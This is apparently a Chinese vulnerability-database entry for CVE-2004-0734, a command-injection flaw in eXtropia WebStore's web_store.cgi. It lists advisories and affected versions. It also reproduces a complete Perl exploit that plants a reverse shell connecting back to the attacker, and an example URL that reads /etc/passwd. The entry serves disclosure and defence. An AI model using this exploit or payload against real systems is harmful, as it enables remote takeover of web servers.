CVE-2004-0734
CVSS7.5
发布时间 :2004-07-27 00:00:00
修订时间 :2016-10-17 22:48:25
NMCOES    

[原文]Web_Store.cgi allows remote attackers to execute arbitrary commands via shell metacharacters in the page parameter.


[CNNVD]Extropia WebStore远程命令执行漏洞(CNNVD-200407-054)

        
        eXtropia WebStore是一款基于WEB的电子购物系统。
        eXtropia WebStore对用户提交URI输入缺少充分过滤,远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。
        eXtropia WebStore包含的web_store.cgi脚本对用户提交给'page'的参数缺少充分过滤,提交包含SHELL元字符的数据作为参数,可以WEB进程权限在系统上执行任意命令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:extropia:extropia_webstore:2.0
cpe:/a:extropia:extropia_webstore:1.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0734
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0734
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200407-054
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=109008402715874&w=2
(UNKNOWN)  BUGTRAQ  20040717 Web_Store.cgi allows Command Execution
http://www.securityfocus.com/bid/10744
(VENDOR_ADVISORY)  BID  10744
http://xforce.iss.net/xforce/xfdb/16710
(VENDOR_ADVISORY)  XF  extropia-webstore-command-execution(16710)

- 漏洞信息

Extropia WebStore远程命令执行漏洞
高危 输入验证
2004-07-27 00:00:00 2006-09-22 00:00:00
远程  
        
        eXtropia WebStore是一款基于WEB的电子购物系统。
        eXtropia WebStore对用户提交URI输入缺少充分过滤,远程攻击者可以利用这个漏洞以WEB进程权限在系统上执行任意命令。
        eXtropia WebStore包含的web_store.cgi脚本对用户提交给'page'的参数缺少充分过滤,提交包含SHELL元字符的数据作为参数,可以WEB进程权限在系统上执行任意命令。
        

- 公告与补丁

        厂商补丁:
        Extropia
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.extropia.com/scripts/web_store.html

- 漏洞信息 (1048)

eXtropia Shopping Cart web_store.cgi Remote Exploit (EDBID:1048)
cgi webapps
2005-06-15 Verified
0 Action Spider
N/A [点击下载]
#!/usr/bin/perl -w
#
#********************************************************************************************
#               Remote Command Execution Vulnerability In Web_store.cgi                     *
#                                                                                           *
#                              [SegmentationFault Group]                                    *
#                                                                                           *
#                                                                                           *
#             Greetz to  :  Xsupr3mo -  failed   - Status-x -  Stealh - P3S4D3L0            *
#             Greetz to  :  berhooz  -   nima  - ehsan   - Unknown  OutLaw  eutanasia       *
#                                      www.ashiyane.com                                     *
#                                                                                           *
#********************************************************************************************
#ok setp by setp to work :                      *                                           *
#[*] start exploit                              *   If connect back shell not found: maybe :*
#[*] run in your system: nc -l -vv -p 2975      *   you do not have perm to write in /tmp   *
#[*] starting connect back on 127.0.0.1 :2975   *            Shell not vulnerable           *
#[*] DONE!                                      *   test and put in /$path/hints.pl?|cd /tmp*
#[*] Look netcat windows                        *     other path that u know dont have perm *
#                                               *                                           *
#********************************************************************************************
#############################################################################################
use IO::Socket;

print "*****************************************************************\n";
print "\tRemote Command Execution Vulnerability in web_store.cgi\n  ";
print "\t\t-=[  SegmentationFault Group  ]=-\n";      
print "\t\tcode writen    by sun-os [ActionSpider]\n\n";  
print "\tGerttz to : Xsupr3mo -  failed   - Status-x -  Stealh";
print "\n\tand : Behrooz - nima - ehsan www.ashiyane.com\n";
print "*****************************************************************\n\n";


print "enter hostname or ip : \n";
chomp($server=<STDIN>);

print "port: (default: 80)\n";
chomp($port=<STDIN>);
$port=80 if ($port =~/\D/ );
$port=80 if ($port eq "" );

print "path: (???/web_store.cgi?)\n";
chomp($path=<STDIN>);

print "your ip (for reverse connect): \n";
chomp($ip=<STDIN>);

print "your port (for reverse connect): \n";
chomp($reverse=<STDIN>);

print "ok Remote Command Execution now Start";
print "|+| try to exploiting...\n";

$string="/$path/web_store.cgi?page=.html|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>dc.pl;perl dc.pl $ip $reverse|";

print "|+| OK! \n";
print "|+| NOW, run in your system: nc -l -vv -p $reverse\n";
print "|+| starting connect back on $ip :$reverse\n";
print "|+| DONE!\n";
print "|+| Look netcat windows\n\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp)
or die;

print $socket "POST $path HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "User-Agent: blackbox\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";

print "have nice shell...";

# milw0rm.com [2005-06-15]
		

- 漏洞信息

14798
eXtropia Web Store web_store.cgi page Parameter Command Execution
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-07-17 Unknow
2004-07-17 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Extropia WebStore Remote Command Execution Vulnerability
Input Validation Error 10744
Yes No
2004-07-17 12:00:00 2009-07-12 06:16:00
Discovery is credited to Zero_X www.lobnan.de Team <zero-x@linuxmail.org>.

- 受影响的程序版本

Extropia WebStore 2.0
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0
- RedHat Linux 7.0
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 i386
- RedHat Linux 6.2 alpha
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Extropia WebStore 1.0
- Microsoft Windows 2000 Professional
- Microsoft Windows NT 4.0
- RedHat Linux 7.0
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 i386
- RedHat Linux 6.2 alpha
- Sun Solaris 8_sparc
- Sun Solaris 7.0

- 漏洞讨论

eXtropia WebStore is prone to a remote command execution vulnerability.

This issue is due to insufficient input validation and may permit execution of commands in the context of the hosting Web server.

- 漏洞利用

The following example was provided:

http://www.example.com/cgi-bin/web_store.cgi?page=.html|cat /etc/passwd|

The following exploit is available:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站